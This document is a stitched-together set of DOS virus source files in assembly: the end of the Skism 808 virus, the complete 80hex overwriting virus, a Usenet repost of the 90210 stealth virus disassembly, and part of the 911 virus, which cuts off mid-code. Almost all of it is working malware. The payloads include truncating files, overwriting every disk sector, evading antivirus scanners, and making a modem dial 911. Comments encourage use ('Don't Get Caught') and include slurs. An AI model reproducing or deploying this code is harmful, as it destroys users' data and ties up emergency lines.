MOV AX,3000H ;GET DOS VERSION
INT 21H ;
CMP AL,02H ;IS IT AT LEAST 2.00?
JB BUS1 ;WON'T INFECT LESS THAN 2.00
MOV AH,2CH ;GET TIME
INT 21H ;
MOV ENCRYPT_VAL,DL ;SAVE M_SECONDS TO ENCRYPT VAL SO
;THERES 100 MUTATIONS POSSIBLE
SETDTA:
MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
NEWDIR:
MOV AH,19H ;GET DRIVE CODE
INT 21H ;
MOV DL,AL ;SAVE DRIVECODE
INC DL ;ADD ONE TO DL, BECAUSE FUNCTIONS DIFFER
MOV AH,47H ;GET CURRENT DIRECTORY
MOV SI, OFFSET CURRENTDIR ;BUFFER TO SAVE DIRECTORY IN
INT 21H ;
MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY
MOV AH,3BH ;CHANGE DIRECTORY TO ROOT
INT 21H ;
SCANDIRS:
MOV CX,13H ;INCLUDE HIDDEN/RO DIRECTORYS
MOV DX, OFFSET WILDCARDS ;LOOK FOR '*'
MOV AH,4EH ;FIND FIRST FILE
INT 21H ;
CMP AX,12H ;NO FIRST FILE?
JNE DIRLOOP ;NO DIRS FOUND? BAIL OUT
BUS1:
JMP BUS
DIRLOOP:
MOV AH,4FH ;FIND NEXT FILE
INT 21H ;
CMP AX,12H
JE BUS ;NO MORE DIRS FOUND, ROLL OUT
CHDIR:
MOV DX,OFFSET DIRDATA+FILENAME;POINT DX TO FCB - FILENAME
MOV AH,3BH ;CHANGE DIRECTORY
INT 21H ;
MOV AH,2FH ;GET CURRENT DTA ADDRESS
INT 21H ;
MOV [DISKDTASEG],ES ;SAVE OLD SEGMENT
MOV [DISKDTAOFS],BX ;SAVE OLD OFFSET
MOV DX,OFFSET FILEDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
SCANDIR:
MOV CX,07H ;FIND ANY ATTRIBUTE
MOV DX,OFFSET FILESPEC ;POINT DX TO "*.com",0
MOV AH,4EH ;FIND FIRST FILE FUNCTION
INT 21H ;
CMP AX,12H ;WAS FILE FOUND?
JNE TRANSFORM
NEXTEXE:
MOV AH,4FH ;FIND NEXT FILE
INT 21H ;
CMP AX,12H ;NONE FOUND
JNE TRANSFORM ;FOUND SEE WHAT WE CAN DO
MOV DX,OFFSET ROOTDIR ;MOVE DX TO CHANGE TO ROOT DIRECTORY
MOV AH,3BH ;CHANGE DIRECTORY TO ROOT
INT 21H ;
MOV AH,1AH ;SET DTA ADDRESS
MOV DS,[DISKDTASEG] ;RESTORE OLD SEGMENT
MOV DX,[DISKDTAOFS] ;RESTORE OLD OFFSET
INT 21H ;
JMP DIRLOOP
BUS:
JMP ROLLOUT
TRANSFORM:
MOV AH,2FH ;TEMPORALLY STORE DTA
INT 21H ;
MOV [TEMPSEG],ES ;SAVE OLD SEGMENT
MOV [TEMPOFS],BX ;SAVE OLD OFFSET
MOV DX, OFFSET FILEDATA + FILENAME
MOV BX,OFFSET FILEDATA ;SAVE FILE...
MOV AX,[BX]+FILEDATE ;DATE
MOV ORIG_DATE,AX ;
MOV AX,[BX]+FILETIME ;TIME
MOV ORIG_TIME,AX ; AND
MOV AX,[BX]+FILEATTR ;
MOV AX,4300H
INT 21H
MOV ORIG_ATTR,CX
MOV AX,4301H ;CHANGE ATTRIBUTES
XOR CX,CX ;CLEAR ATTRIBUTES
INT 21H ;
MOV AX,3D00H ;OPEN FILE - READ
INT 21H ;
JC FIXUP ;ERROR - FIND ANOTHER FILE
MOV HANDLE,AX ;SAVE HANDLE
MOV AH,3FH ;READ FROM FILE
MOV BX,HANDLE ;MOVE HANDLE TO BX
MOV CX,02H ;READ 2 BYTES
MOV DX,OFFSET IDBUFFER ;SAVE TO BUFFER
INT 21H ;
MOV AH,3EH ;CLOSE FILE FOR NOW
MOV BX,HANDLE ;LOAD BX WITH HANDLE
INT 21H ;
MOV BX, IDBUFFER ;FILL BX WITH ID STRING
CMP BX,02EBH ;INFECTED?
JNE DOIT ;SAME - FIND ANOTHER FILE
FIXUP:
MOV AH,1AH ;SET DTA ADDRESS
MOV DS,[TEMPSEG] ;RESTORE OLD SEGMENT
MOV DX,[TEMPOFS] ;RESTORE OLD OFFSET
INT 21H ;
JMP NEXTEXE
DOIT:
MOV DX, OFFSET FILEDATA + FILENAME
MOV AX,3D02H ;OPEN FILE READ/WRITE ACCESS
INT 21H ;
MOV HANDLE,AX ;SAVE HANDLE
CALL INFECTFILE
;MOV AX,3EH ;CLOSE FILE
;INT 21H
ROLLOUT:
MOV AX,5701H ;RESTORE ORIGINAL
MOV BX,HANDLE ;
MOV CX,ORIG_TIME ;TIME AND
MOV DX,ORIG_DATE ;DATE
INT 21H ;
MOV AX,4301H ;RESTORE ORIGINAL ATTRIBUTES
MOV CX,ORIG_ATTR
MOV DX,OFFSET FILEDATA + FILENAME
INT 21H
;MOV BX,HANDLE
;MOV AX,3EH ;CLOSE FILE
;INT 21H
MOV AH,3BH ;TRY TO FIX THIS
MOV DX,OFFSET ROOTDIR ;FOR SPEED
INT 21H ;
MOV AH,3BH ;CHANGE DIRECTORY
MOV DX,OFFSET CURRENTDIR ;BACK TO ORIGINAL
INT 21H ;
MOV AH,2AH ;CHECK SYSTEM DATE
INT 21H ;
CMP CX,1991 ;IS IT AT LEAST 1991?
JB AUDI ;NO? DON'T DO IT NOW
CMP DL,25 ;IS IT THE 25TH?
JB AUDI ;NOT YET? QUIT
CMP AL,5 ;IS fRIDAY?
JNE AUDI ;NO? QUIT
MOV DX,OFFSET DIRDATA ;OFFSET OF WHERE TO HOLD NEW DTA
MOV AH,1AH ;SET DTA ADDRESS
INT 21H ;
MOV AH,4EH ;FIND FIRST FILE
MOV CX,7H ;
MOV DX,OFFSET FILESPEC2 ;OFFSET *.*
lOOPS:
INT 21H ;
JC AUDI ;ERROR? THEN QUIT
MOV AX,4301H ;FIND ALL NORMAL FILES
XOR CX,CX ;
INT 21H ;
MOV DX,OFFSET DIRDATA + FILENAME
MOV AH,3CH ;FUCK UP ALL FILES IN CURRENT DIR
INT 21H ;
JC AUDI ;ERROR? QUIT
MOV AH,4FH ;FIND NEXT FILE
JMP LOOPS ;
AUDI:
MOV AX,4C00H ;END PROGRAM
INT 21H ;
;tHE BELOW IS JUST TEXT TO PAD OUT THE VIRUS SIZE TO 808 BYTES. dON'T
;JUST CHANGE THE TEXT AND CLAIM THAT THIS IS YOUR CREATION.
WORDS_ DB "sKISM rYTHEM sTACK vIRUS-808. sMART kIDS iNTO sICK mETHODS",0
WORDS2 DB " dONT ALTER THIS CODE INTO YOUR OWN STRAIN, FAGGIT. ",0
WORDS3 DB " hr/sss nycITY, THIS IS THE FIFTH OF MANY, MANY MORE....",0
WORDS4 DB " yOU SISSYS.....",0
MAIN ENDP
CODE ENDS
END MAIN

@@ -0,0 +1,87 @@
; ------------------------------------------------------------------------------
; - 80hex virus -
; (c) 1994 The Unforgiven/Immortal Riot
; Pay-Load function:
; This will be dropped to the file c:\dos\keyb.com, that often
; is called from autoexec.bat, which will result in that all files
; in DOS being overwritten. Eventually all hds will be trashed as well.
; General-information:
; It's a simple overwriting virus, BUT not released 'alone' as
; the purpose as a virus that will infect systems and travel
; around the world. It's rather an original pay-load, outsmarted
; by my creative/destructive brain.
; It's not encrypted, still *NO* anti-virus detects it, this is probably
; due to its simplistic shape. It's *highly* destructive, and is really
; more or less a trojan. But it can replicate, so...
; Greetings to all destructive virus writers!
; - The Unforgiven/Immortal Riot
;Riot.trivial.80h
.model tiny
.code
org 100h
start:
dec byte ptr offset files ; tricking tbscan !
add ah,4eh ; tricking f-prot !
mov dx, offset files
next: int 21h
jnc open
mov ah,2ch ; Value of 1/100 of a second
int 21h
cmp dl,79 ; 20%
jb quit ;
mov al,2h
drive: ; Harddrive, seek and destroy!
mov cx,1
lea bx,virus
cwd ; clear dx (ax = <8000h)
Next_Sector:
int 26h
inc dx
jnc next_sector ; all sectors
inc al
jmp short drive ; all drives
quit:
ret
open:
inc byte ptr offset files
add ax,3d02h
mov dx, offset 9eh
int 21h
write:
xchg ax,bx
mov ah,40h
mov dx, offset start
mov cx, endoffile - start
int 21h
close:
sub ah,2
int 21h
mov ah,4fh
jmp short next
data:
files db "+.*",0 ; => *.*
virus db "Materialism - the religion of today, "
truth db "ain't it sad?"
endoffile:
end start
@@ -0,0 +1,377 @@
From smtp Tue Feb 7 13:13 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:13 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA30823 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:16:19 -0500
Date: Tue, 7 Feb 1995 13:16:19 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 8866
Content-Type: text
Message-Id: <199502071816.NAA30823@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) 90210
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: 90210
Date: 5 Feb 1995 21:55:07 GMT
Organization: International Internet Association.
Lines: 345
Message-ID: <3h3hfr$sb@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the 90210 virus:
;90210 Virus from the TridenT virus research group.
;This is a semi-stealth virus that hides file-size changes while
;it is in memory. It marks the files w/the timestamp. It will
;infect COM files on open, execute, delete, and rename. It checks
;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
;to go memory resident.
;Disassembly by Black Wolf
.model tiny
.code
org 100h
start:
push ax
call GetOffset
GetOffset:
pop bp
sub bp,offset GetOffset-start
mov ax,0DEADh
int 21h ;Are we installed?
cmp ax,0AAAAh
je DoneInstall
mov ax,3521h
int 21h ;Get int 21 address
db 2eh, 89h,9eh,77h,0h ;mov cs:[OldInt21-start+bp],bx
db 2eh, 8ch, 86h, 79h, 0 ;mov word ptr cs:[OldInt21-start+2+bp],es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
jne DoneInstall ;Are we the last block in chain?
mov ax,ds:[3] ;Get MCB size
sub ax,38h ;subtract virus memory size
jc DoneInstall ;exit if virus > MCB
mov ds:[3],ax ;Set MCB size
;sub word ptr ds:[12h],38h ;Subtract virus mem from
db 81h,2eh,12h,0,38h,0 ;top of memory in PSP
mov si,bp
mov di,0
mov es,ds:[12h] ;Get top of memory from PSP
push cs
pop ds
mov cx,287h
cld
rep movsb ;Copy virus into memory
mov ax,2521h
push es
pop ds
mov dx,offset Int21Handler-start
int 21h ;Set int 21h
DoneInstall:
mov di,100h
lea si,[bp+Storage_Bytes-start]
push cs
push cs
pop ds
pop es
cld
movsw
movsb ;Restore Host file.
mov bx,offset start
pop ax
push bx
retn ;Return to Host
VirusName db '[90210 BH]'
OldInt21:
dw 0
dw 0
Int21Handler:
cmp ax,0DEADh ;Install Check?
jne NotInstall
mov ax,0AAAAh
iret
NotInstall:
cmp ah,11h ;FCB find first
je FCBSearch
cmp ah,12h ;FCB find next
je FCBSearch
cmp ah,4Eh ;handle find first
je HandleSearch
cmp ah,4Fh ;handle find next
je HandleSearch
push ax bx cx dx si di bp ds es
cmp ah,3Dh ;handle file open
je SetupNameCheck
cmp ax,4B00h ;file execute
je SetupNameCheck
cmp ah,41h ;handle file delete
je SetupNameCheck
cmp ah,43h ;get/set attributes
je SetupNameCheck
cmp ah,56h ;rename file
je SetupNameCheck
cmp ah,0Fh ;Open file w/FCB
je TryToInfect
cmp ah,23h
je TryToInfect ;Get file size
jmp ExitInfect
FCBSearch:
jmp FCBStealth
HandleSearch:
jmp HandleStealth
TryToInfect:
db 89h,0d6h ;mov si,dx
inc si
push cs
pop es
mov di,offset ds:[Filename-start] ;Copy filename
mov cx,8
rep movsb
mov cx,3
inc di
rep movsb
mov dx,Filename-start
push cs
pop ds
SetupNameCheck:
db 89h, 0d6h ;mov si,dx
mov cx,100h
cld
Find_Extension:
lodsb
cmp al,'.' ;Find '.'
je CheckFilename
loop Find_Extension
db 0e9h, 13h, 0 ;jmp FilenameBad
CheckFilename:
lodsw
or ax,2020h ;Set to lowercase
cmp ax,6F63h ;Is it a com file?
jne FilenameBad
lodsb
or al,20h
cmp al,6Dh
jne FilenameBad
db 0e9h, 3, 0 ;jmp InfectFile
FilenameBad:
jmp ExitInfect
InfectFile:
push dx
push ds
mov ax,4300h
pushf
call dword ptr cs:[OldInt21-start] ;Get Attributes
mov word ptr cs:[FileAttribs-start],cx ;Save them
mov ax,4301h
xor cx,cx
pushf
call dword ptr cs:[OldInt21-start] ;Reset Attribs to 0
mov ax,3D02h
pushf
call dword ptr cs:[OldInt21-start] ;Open file
jnc OpenGood
jmp FileClosed
OpenGood:
xchg ax,bx
mov ax,5700h
pushf
call dword ptr cs:[OldInt21-start] ;Get file time/date
mov word ptr cs:[FileTime-start],cx ;save time
mov word ptr cs:[FileDate-start],dx ;save date
and cx,1Fh
cmp cx,1Fh
jne NotInfected ;Check infection
db 0e9h, 76h, 0 ;jmp Close_File
NotInfected:
mov ah,3Fh
push cs
pop ds
mov dx,Storage_Bytes-start
mov cx,3
pushf
call dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
cmp word ptr cs:[Storage_Bytes-start],5A4Dh
je DoneWithFile ;Is it an .EXE file?
cmp word ptr cs:[Storage_Bytes-start],4D5Ah
je DoneWithFile ;Alternate EXE sig?
mov ax,4202h
xor cx,cx
xor dx,dx
pushf
call dword ptr cs:[OldInt21-start] ;Go end of file.
sub ax,3 ;Save jump size
mov word ptr cs:[Jump_Bytes-start+1],ax
mov ah,40h
push cs
pop ds
mov dx,0
mov cx,287h
pushf
call dword ptr cs:[OldInt21-start] ;Append virus to file
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;go back to beginning
mov ah,40h
mov dx,Jump_Bytes-Start
mov cx,3
pushf
call dword ptr cs:[OldInt21-start] ;Write in jump
or word ptr cs:[FileTime-start],1Fh ;Mark as infected
DoneWithFile:
mov ax,5701h
mov cx,word ptr cs:[FileTime-start]
mov dx,word ptr cs:[FileDate-start]
pushf
call dword ptr cs:[OldInt21-start] ;Restore File Date/Time
Close_File:
mov ah,3Eh
pushf
call dword ptr cs:[OldInt21-start] ;Close file
pop ds
pop dx ;Pop filename address
push dx
push ds
mov ax,4301h
mov cx,ds:[FileAttribs-start]
pushf
call dword ptr cs:[OldInt21-start] ;Restore attributes
FileClosed:
pop ds
pop dx
ExitInfect:
pop es ds bp di si dx cx bx ax
jmp dword ptr cs:[OldInt21-start] ;Jump back into Int 21h
GetDTA:
pop si
pushf
push ax bx es
mov ah,2Fh
call CallInt21
jmp si
FCBStealth:
call CallInt21
cmp al,0 ;Did call work?
jne NoStealth
call GetDTA
cmp byte ptr es:[bx],0FFh ;Extended FCB?
jne AfterFCBAdjust
add bx,8
AfterFCBAdjust:
mov al,es:[bx+16h] ;Get time stamp
and al,1Fh
cmp al,1Fh ;infected?
jne DoneFCBStealth
sub word ptr es:[bx+1Ch],287h ;Subtract virus size
sbb word ptr es:[bx+1Eh],0 ;adjust for carry
jmp short ResetTime
HandleStealth:
call CallInt21
jc NoStealth
call GetDTA
mov al,es:[bx+16h] ;Get file time
and al,1Fh
cmp al,1Fh
jne DoneFCBStealth
sub word ptr es:[bx+1Ah],287h ;Subtract virus size
sbb word ptr es:[bx+1Ch],0 ;adjust for carry
ResetTime:
xor byte ptr es:[bx+16h],10h ;Restore time to norm.
DoneFCBStealth:
pop es bx ax
popf
NoStealth:
retf 2
CallInt21:
pushf
call dword ptr cs:[OldInt21-start]
retn
Storage_Bytes:
nop
int 21h
Filename db 8 dup (0)
db '.'
Extension db 3 dup (0)
db 0
FileAttribs dw 0
FileTime dw 0
FileDate dw 0
Jump_Bytes db 0E9h, 00h, 00h
AuthorName db ' John Tardy / TridenT '
end start
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
@@ -0,0 +1,631 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 911 Virus ÛÛ
;ÛÛ ÛÛ
;ÛÛ This program is the 911 Virus. Use at your own risk. When the ÛÛ
;ÛÛ manipulation task begins, it will dial 911 through your modem ÛÛ
;ÛÛ and display "Support Your Police" on the screen. ÛÛ
;ÛÛ ÛÛ
;ÛÛ Assemble under Borland's Turbo Asm 2.x ÛÛ
;ÛÛ Link - ignore no stack segment error ÛÛ
;ÛÛ run EXE2BIN 911.EXE 911.COM ÛÛ
;ÛÛ ÛÛ
;ÛÛ And remember ... Don't Get Caught. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0FE12h ;*
data_2e equ 437h ;*
data_3e equ 438h ;*
psp_envirn_seg equ 2Ch
psp_cmd_size equ 80h
psp_cmd_tail equ 81h
data_37e equ 541h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
v911 proc far
start:
jmp loc_40
v911 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_21h_entry proc far
pushf ; Push flags
cmp ah,0E0h
jne loc_3 ; Jump if not equal
mov ax,0DADAh
popf ; Pop flags
iret ; Interrupt return
int_21h_entry endp
loc_3:
cmp ah,0E1h
jne loc_4 ; Jump if not equal
mov ax,cs
popf ; Pop flags
iret ; Interrupt return
loc_4:
cmp ax,4B00h
je loc_7 ; Jump if equal
loc_5:
popf ; Pop flags
jmp dword ptr cs:data_5
data_5 dd 29A138Dh
data_7 dd 70022Bh
data_9 db 0
data_10 db 8
data_11 db 10h
data_12 db 9
data_13 db 34h
data_14 dw 0
db 0
data_15 db 0
data_16 db 0
data_17 db 0
data_18 db 43h
db 4Fh, 4Dh
data_19 dw 5
data_20 dw 2
db 0, 0
data_21 dw 1301h
data_22 dw 12ACh
data_23 dw 0FFFEh
data_24 dw 9B70h
data_25 dw 3D5Bh
data_26 dw 20h
data_27 dw 0EC2h
data_28 dw 6E68h
db 00h, 00h, 81h, 00h
data_29 dw 12ACh
db 5Ch, 00h
data_30 dw 12ACh
db 6Ch, 00h
data_31 dw 12ACh
loc_7:
push ds
push bx
push si
push cx
push ax
push dx
push bp
push es
push di
cld ; Clear direction
push dx
push ds
xor cx,cx ; Zero register
mov si,dx
loc_8:
mov al,[si]
cmp al,0
je loc_9 ; Jump if equal
inc cx
inc si
jmp short loc_8
loc_9:
add dx,cx
sub dx,3
mov si,offset data_18
mov di,dx
cmp byte ptr [di-3],4Eh ; 'N'
jne loc_10 ; Jump if not equal
cmp byte ptr [di-2],44h ; 'D'
je loc_13 ; Jump if equal
loc_10:
mov cx,3
locloop_11:
mov al,cs:[si]
cmp al,[di]
jne loc_13 ; Jump if not equal
inc si
inc di
loop locloop_11 ; Loop if cx > 0
pop ds
pop dx
push dx
push ds
mov si,dx
mov dl,0
cmp byte ptr [si+1],3Ah ; ':'
jne loc_12 ; Jump if not equal
mov dl,[si]
and dl,0Fh
loc_12:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get drive info, drive dl,1=a:
; returns ax=clust per sector
; bx=avail clust,cx=bytes/sect
; dx=clusters per drive
cmp ax,0FFFFh
je loc_13 ; Jump if equal
jmp short loc_15
db 90h
loc_13:
jmp loc_21
jmp loc_22
loc_14:
jmp loc_19
jmp loc_20
loc_15:
cmp bx,3
jb loc_13 ; Jump if below
pop ds
pop dx
push ds
push dx
mov cs:data_24,ds
mov cs:data_25,dx
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
mov cs:data_26,cx
mov ax,4301h
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov bx,0FFFFh
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
mov cs:data_21,ax
mov ax,cs
mov ds,ax
mov dx,data_37e
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
pop dx
pop ds
mov ax,3D02h
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_14 ; Jump if carry Set
mov bx,ax
mov cs:data_19,ax
mov cx,0FFFFh
mov ax,cs:data_21
mov ds,ax
mov dx,data_2e
mov ah,3Fh ; '?'
clc ; Clear carry flag
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jc loc_14 ; Jump if carry Set
mov cs:data_20,ax
cmp ax,0E000h
ja loc_14 ; Jump if above
cmp ax,437h
jb loc_17 ; Jump if below
mov si,data_3e
add si,si
sub si,15h
mov cx,13h
mov di,offset data_35
locloop_16:
mov al,[si]
mov ah,cs:[di]
cmp ah,al
jne loc_17 ; Jump if not equal
inc si
inc di
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
db 90h
loc_17:
mov ax,4200h
mov bx,cs:data_19
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
jc loc_19 ; Jump if carry Set
mov si,100h
mov cx,437h
xor di,di ; Zero register
mov ax,cs:data_21
mov ds,ax
locloop_18:
mov al,cs:[si]
mov [di],al
inc si
inc di
loop locloop_18 ; Loop if cx > 0
mov ax,5700h
mov bx,cs:data_19
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
mov cs:data_28,cx
mov cs:data_27,dx
mov ax,cs:data_21
mov ds,ax
mov si,data_2e
mov al,[si]
add al,0Bh
mov [si],al
xor dx,dx ; Zero register
mov cx,cs:data_20
add cx,437h
mov bx,cs:data_19
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov cx,cs:data_28
mov dx,cs:data_27
mov bx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
loc_19:
mov bx,cs:data_19
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
push cs
pop ds
loc_20:
mov dx,psp_cmd_size
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
mov ax,cs:data_21
mov es,ax
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
mov ax,cs:data_24
mov ds,ax
mov dx,cs:data_25
mov ax,4301h
mov cx,cs:data_26
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jmp short loc_22
db 90h
loc_21:
pop ds
pop dx
jmp short loc_22
db 90h
loc_22:
pop di
pop es
pop bp
pop dx
pop ax
pop cx
pop si
pop bx
pop ds
jmp loc_5
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_08h_entry proc far
push bp
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
pushf ; Push flags
call cs:data_7
call sub_1
push cs
pop ds
mov ah,5
mov ch,data_11
cmp ah,ch
ja loc_24 ; Jump if above
mov ah,6
cmp ah,ch
jb loc_24 ; Jump if below
mov ah,data_9
cmp ah,1
je loc_23 ; Jump if equal
mov ah,1
mov data_9,ah
jmp short loc_24
db 90h
loc_23:
call sub_2
inc data_14
mov ax,data_14
cmp ax,21Ch
jne loc_24 ; Jump if not equal
xor ax,ax ; Zero register
mov data_9,ah
mov data_14,ax
mov data_16,ah
loc_24:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
pop bp
iret ; Interrupt return
int_08h_entry endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
push cs
pop ds
xor al,al ; Zero register
mov ah,data_10
cmp ah,11h
jne loc_28 ; Jump if not equal
mov ah,data_13
cmp ah,3Bh ; ';'
jne loc_29 ; Jump if not equal
mov ah,data_12
cmp ah,3Bh ; ';'
jne loc_30 ; Jump if not equal
mov ah,data_11
cmp ah,17h
jne loc_31 ; Jump if not equal
mov data_11,al
loc_25:
mov data_12,al
loc_26:
mov data_13,al
loc_27:
mov data_10,al
retn
loc_28:
inc data_10
retn
loc_29:
inc data_13
jmp short loc_27
loc_30:
inc data_12
jmp short loc_26
loc_31:
inc data_11
jmp short loc_25
sub_1 endp
data_32 db '+++aTh0m0s7=35dp911'
db 7 dup (2Ch)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov al,data_16
cmp al,1
je loc_ret_39 ; Jump if equal
mov al,data_17
cmp al,1
je loc_33 ; Jump if equal
mov cx,3
locloop_32:
mov dx,cx
xor ah,ah ; Zero register
mov al,83h
int 14h ; RS-232 dx=com4, ah=func 00h
; reset port, al=init parameter
loop locloop_32 ; Loop if cx > 0
mov al,1
mov data_17,al
jmp short loc_ret_39
db 90h
loc_33:
push cs
pop ds
mov si,offset data_32 ; ('+++aTh0m0s7=35dp911')
mov al,data_15
cmp al,1Ah
jne loc_36 ; Jump if not equal
jmp short loc_37
db 90h
loc_36:
xor ah,ah ; Zero register
add si,ax
mov al,[si]
mov dx,3F8h
out dx,al ; port 3F8h, RS232-1 xmit buffr
mov dx,2F8h
out dx,al ; port 2F8h, RS232-2 xmit buffr
mov dx,2E8h
out dx,al ; port 2E8h, 8514 Horiz total
mov dx,3E8h
out dx,al ; port 3E8h ??I/O Non-standard
inc data_15
jmp short loc_ret_39
db 90h
loc_37:
mov cx,3
locloop_38:
mov dx,cx
mov al,0Dh
mov ah,1
int 14h ; RS-232 dx=com4, ah=func 01h
; write char al, ah=retn status
loop locloop_38 ; Loop if cx > 0
mov ax,1
mov data_16,al
mov data_15,ah
mov data_17,ah
loc_ret_39:
retn
sub_2 endp
loc_40:
mov ah,0E0h
int 21h ; ??INT Non-standard interrupt
cmp ax,0DADAh
jne loc_41 ; Jump if not equal
jmp loc_44
loc_41:
push cs
pop ds
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_5,bx
mov word ptr data_5+2,es
mov dx,offset int_21h_entry
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3508h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr data_7,bx
mov word ptr data_7+2,es
mov dx,offset int_08h_entry
mov ax,2508h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ah,2Ch ; ','
int 21h ; DOS Services ah=function 2Ch
; get time, cx=hrs/min, dx=sec
mov data_11,ch
mov data_12,cl
mov data_13,dh
mov ax,cs:psp_envirn_seg
mov ds,ax
xor si,si ; Zero register
loc_42:
mov al,[si]
cmp al,1
je loc_43 ; Jump if equal
inc si
jmp short loc_42
loc_43:
